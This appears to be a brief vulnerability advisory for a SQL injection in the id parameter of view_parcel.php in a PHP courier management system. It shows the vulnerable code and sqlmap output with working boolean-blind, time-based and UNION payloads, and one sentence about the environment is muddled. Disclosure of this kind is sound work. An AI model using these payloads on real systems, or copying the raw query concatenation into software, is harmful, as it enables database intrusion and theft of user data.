

SQL injection vulnerability exists in id parameter of view\_parcel.php file of Best courier management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
1 <?php
2 include 'db_connect.php';
3 $qry = $conn->query("SELECT * FROM parcels where id = ".$_GET['id'])->fetch_array();
4 foreach($qry as $k => $v){
5     $$k = $v;
6 }
7 if($to_branch_id > 0 || $from_branch_id > 0){
8     $to_branch_id = $to_branch_id > 0 ? $to_branch_id : '-1';
9     $from_branch_id = $from_branch_id > 0 ? $from_branch_id : '-1';
10    $branch = array();
11    $branches = $conn->query("SELECT *,concat(street,', ',city,', ',state,', ',zip_code,', ',country
12    while($row = $branches->fetch_assoc()):
13        $branch[$row['id']] = $row['address'];
14    endwhile;
15 }
16 ?>
```

```
sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
  Payload: id=1 AND 4022=(SELECT (CASE WHEN (4022=4022) THEN 4022 ELSE (SELECT 5846 UNION SELECT 1211) END))-- -
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1 AND (SELECT 9662 FROM (SELECT(SLEEP(5)))wyIL)
  Type: UNION query
  Title: Generic UNION query (NULL) - 18 columns
  Payload: id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766b71,0x5568504c4b6d486a7965646866641744c5169556248655966554c6871436c6e49495279756b4f4d6c,0x717a707a71),NULL-- -
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Source Download:

<https://www.sourcecodester.com/php/16848/best-courier-management-system-project-php.ht>

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